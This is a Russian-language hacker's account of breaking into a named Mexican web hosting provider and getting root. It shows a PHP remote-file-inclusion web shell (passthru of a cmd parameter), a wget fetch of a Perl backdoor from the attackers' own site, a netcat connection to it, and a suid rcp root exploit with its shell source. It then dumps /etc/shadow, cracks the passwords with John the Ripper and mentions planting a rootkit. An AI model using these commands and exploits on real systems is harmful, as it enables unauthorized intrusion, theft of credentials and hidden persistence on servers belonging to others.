Как это было... или root на хостинг-провайдере.
Intro.
Я решил описать именно этот взлом, потому что он произошёл совсем недавно (причём, на данный момент - 23.01.03 - сервер всё ещё находится, так сказать, в руках DHG) и вообще меня давно просили описать какой-нибудь интересный взлом.
Я не хочу, чтобы этот рассказ был пособием для чужих злодеяний, поэтому я намеренно допускаю некоторые ошибки\неточности (которые, впрочем, любой продвинутый пользователь заметит). Ну и разжёвывать элементарные вещи, типа "линуксовых команд и где искать, как компилить сплойты", я не буду. Итак, поехали.
Round #1: remote.
Вообще, первоначально целью был Мексиканский Linux-портал www.***.com, который как раз хостился у этого провайдера.
Первым делом, нужно было узнать ось, на которой стоит этот портал. Хотя, ясен пень, что сайт о Linux'e не может висеть на виндах. На http был: "Apache/1.3.26 (Unix) (Red Hat/Linux) Chili!Soft-ASP/3.6.2 PHP/4.1.2", ftp-баннер гласил:
managedhosting FTP server (Version 6.5/OpenBSD, linux port 0.3.2) ready.
Сканировать порты, cgi-bug'и и всякую подобную чушь, я не стал - точнее, решил отложить на потом. Ну и ипом ессно светить не хотелось. Так вот, в ftp-баннере промелькнуло слово "hosting"! Забив на ripnet, я решил обратиться непосредственно к ip'у, который имел www.***.com. Он вывел меня на сайт "managedhosting.dialtoneinternet.com.mx", который, очевидно, был его хостером. После непродолжительного ручного bruteforce'a был вычислен реальный сайт хостинга: dialtoneinternet.com.mx (www.dialtone.com).
На этом я решил пока остановиться и вернуться к ломаемому сайту. Он стоял на PHP-движке "phpWebSite" неизвестной версии. Этот очередной клон php-nuke'a не отличался особым упором на безопасность. Все версии PWS до 0.8.2 (даже с пометкой Stable) имели уязвимость класса 'Php source injection'. Те, кому ничего это не говорит, смотрите статью r4ShRaY'я об этой уязвимости. Остальные же, читайте дальше. Итак, вот кусок сорса файла modsecurity.php:
<?php
global $inc_prefix;
if(!$inc_prefix) {
...
}
...
include_once($inc_prefix."htmlheader.php");
?>
Имхо, тут всё всем должно быть ясно. Запустив этот скрипт подобным образом:
http://www.***.com/modsecurity.php?inc_prefix=http://www.dhgroup.org
Файл htmlheader.php, лежащий на нашем сайте, выполнится с пока_неопределёнными_правами. Единственное, что меня беспокоило, так это то, Что на атакуемом сайте стоит пропатченная, либо более новая версия (всё-таки, это не какая-то 'Vasya's home page', а портал для kewl-Linux-userz).
В общем, я создал файл htmlheader.php на нашем сайте вот такого содержания:
<? passthru("$cmd") ?>
Далее пошёл по адресу:
modsecurity.php?inc_prefix=http://www.dhgroup.org&cmd=ls
На что я получил листинг каталога www. #Прим. далее все команды буду писать без "...?inc_prefix=http://..."!
Round #2: local.
>echo hi>kewl.txt; cat kewl.txt
На эти две команды браузер ответил пустым снежно-белым экраном. Это говорило о том, что прав на запись в каталог www у меня нет. То есть, говорить о дефейсе пока рано. Что ж, перед тем как предпринимать какие-либо дальнейшие действия, нужно было собрать побольше сведений о системе. Первым делом я полез за файлом httpd.conf:
>cat /etc/httpd/conf/httpd.conf
Оттуда я выдрал версию фроника (кстати говоря, http-заголовок 'Server' умалчивал о наличии FrontPage'a) и путь к www-директориям сайтов: dialtoneinternet.com.mx (ломаемый хостинг-провайдер), stormarketing.com, altavistablinds.com, parigitown.com, ну и ещё к нескольким крупным ресурсам:
# -FrontPage- version=4.0
##
## httpd.conf -- Apache HTTP server configuration file
##
...
<VirtualHost 66.33.62.88>
<Directory /home/admin/www/serversecure>
Options All
AllowOverride All
</Directory>
ServerName dialtoneinternet.com.mx
ServerAlias www.dialtoneinternet.com.mx
DocumentRoot /home/admin/www
ErrorLog logs/error_log
TransferLog logs/transfer_log
Group nobody
ScriptAlias /cgi-bin/ /home/admin/www/cgi-bin/
</VirtualHost>
...
Конечно, чтоб их дефейсить ,прав не достаточно, НО их вполне хватит, чтобы просмотреть фрониковые service.pwd (если таковые имеются) этих сайтов, со всеми вытекающими отсюда последствиями ;) Эту возможность я оставил на тот случай, если мне всё-таки не удастся поднять свои привелегии.
Далее, для интереса я ввёл:
>netstat -a
На что получил (# - мои метки):
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 1 66.33.62.*:2114 by.ru:www LAST_ACK # (1)
tcp 0 0 66.33.62.*:www 62.141.75.226:3116 ESTABLISHED
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:imap2 *:* LISTEN
tcp 0 0 *:pop3 *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:81 *:* LISTEN
tcp 0 0 *:https *:* LISTEN # (2)
tcp 0 0 managedhosting.d:domain *:* LISTEN
tcp 0 0 managedhosting2.:domain *:* LISTEN
tcp 0 0 spacebattles.net:domain *:* LISTEN
tcp 0 0 66.33.62.*:domain *:* LISTEN
tcp 0 0 localhost.locald:domain *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:casp3001 *:* LISTEN
tcp 0 0 *:casp3000 *:* LISTEN
tcp 0 0 *:casp5105 *:* LISTEN
tcp 0 0 *:casp5103 *:* LISTEN
tcp 0 0 *:casp5104 *:* LISTEN
tcp 0 0 *:1581 *:* LISTEN
tcp 0 0 *:1024 *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN # (3)
udp 0 0 *:4320 *:*
udp 0 0 managedhosting.d:domain *:*
udp 0 0 managedhosting2.:domain *:*
udp 0 0 spacebattles.net:domain *:*
udp 0 0 66.33.62.*:domain *:*
udp 0 0 localhost.locald:domain *:*
raw 0 0 *:udp *:* 7
raw 0 0 *:tcp *:* 7
raw 0 0 *:icmp *:* 7
raw 0 0 *:tcp *:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ACC ] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
unix 0 [ ACC ] STREAM LISTENING 2087 /tmp/mysql.sock
unix 4 [ ] DGRAM 290 /dev/log
unix 0 [ ACC ] STREAM LISTENING 549144 /var/run/ndc
unix 0 [ ] STREAM 565939
unix 0 [ ] DGRAM 555692
unix 0 [ ] DGRAM 549142
unix 0 [ ] DGRAM 3193
unix 0 [ ] DGRAM 303
(1) - это мы =)
(2) - наличие ssl обычно говорит об обмене приватной инфой с сервером (cc, например). Хотя, для хостинга это в порядке вещей.
(3) - вот он шелл! Он нам впоследствии пригодится.
Вот и порты сканировать не потребовалось :)
Далее нужно было приступать к каким-то конкретным действиям, а точнее, узнать хотя бы приблизительно версию шапки и, исходя из этого, уже плясать дальше. Так вот, для тех кто не знает, некоторые (если не все) Linux-дистрибутивы оставляют файл "*-release" (где * - название дистриба: mandrake-release, cobalt-release...) в каталоге /etc/ и админы не имеют привычки его удалять.
>cat /etc/redhat-release :
Red Hat Linux release 6.1 (Cartman)
Обааааа, нужно сказать, такого я не ожидал :) Всё остальное же было делом техники.. Для достижения долгожданного рута я решил юзать RedHat'овскую уязвимость в rcp.
Red Hat 6.2: rcp possible root hole
На самом деле, уязвимость была найдена в шапке 6.2.. Про 6.1 в посте от Andrew Griffiths и Tlabs не говорилось ни слова. Понадеявшись на удачу, я ввёл:
>ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 Jul 30 1999 /usr/bin/rcp*
Оп! Суидный rcp имеет место быть! Это уже хорошо :) Я залил себе "rcpsploit.pl" от tlabs и, изучив сорс, остановился. Я, пожалуй, объясню, как работает этот сплойт - возможно, это поможет Вам понять суть уязвимости и возникшей проблемы.
Итак, он создаёт 2 файла:
/tmp/shell.c---------------------
#include
#include
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh",0);
return 0;
}
hey------------------------------
Sploit written by tlabs, thanks to Andrew Griffiths for the bug report
Затем, через суидный rcp, сплойт компилит shell.c и chmod'ом делает его таким же суидным. Вот и всё! Запускаем скомпилированный shell и получаем шелл с uid=0, gid=0. Но что толку нам от этого шелла, если мы выполняем команды через веб-сервер? :-/
Заставить этот сплойт работать можно было только на "нормальном" шелле.
Что ж, нужен шелл? Он будет! В моём warez-архиве уже давно пылился маленький перловый троян, которым я и решил воспользоваться:
>wget -o=/tmp/.tmp.pl http://www.dhgroup.org/exp/backhole.pl
>chmod 755 /.tmp/tmp.pl
>perl /tmp/.tmp.pl
Далее на своём компе:
>nc ***.com 51015
Приконнектившись:
>cd /tmp
>wget -c http://www.dhgroup.org/exp/rcpsploit.pl
>chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, too easy, we'll just launch a shell, lets hope shit went well innit:)
>id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Вот и всё :) Ну и последнее:
>cat /etc/shadow
root:###:11961:0:99999:7:-1:-1:134549964
bin:*:10925:0:99999:7:::
daemon:*:10925:0:99999:7:::
adm:###:11577:0:99999:7:-1:-1:134549852
...etc...
JTR насчитал 977 паролей %) Чтоб ускорить перебор, я ввёл:
john -i:all -u:root shadow
Где-то 8 часов и... долгожданный момент:
Затем я залил туда lrk, несколько datapipe'ов и bnc... хотя это уже совсем другая история....
Что использовалось при взломе:
Netscape v.xz
secureCRT 3.1
NetCat
John The Ripper
backhole.pl
rcpsploit.pl
Мозги
PacketStormSecurity
Выводы\замечания\комментарии:
1. Если тот или иной сервер гордо называет себя Хостинг-провайдером или Linux-порталом - это не значит, что он хорошо защищён.
2. В процессе взлома не стоит особо афишировать своим ипом (об этом в дальнейшем ещё будет статья).
3. При взломе практически не использовался, так называемый, "хакерский" софт.
4. RH6.* - не есть гуд :)
P.S. имхо, у читателя может сложится такое впечатление, что мне просто повезло и вообще взлом занимал пару минут.. Это не так. Были моменты, когда просто опускались руки, когда хотелось биться головой о стенку.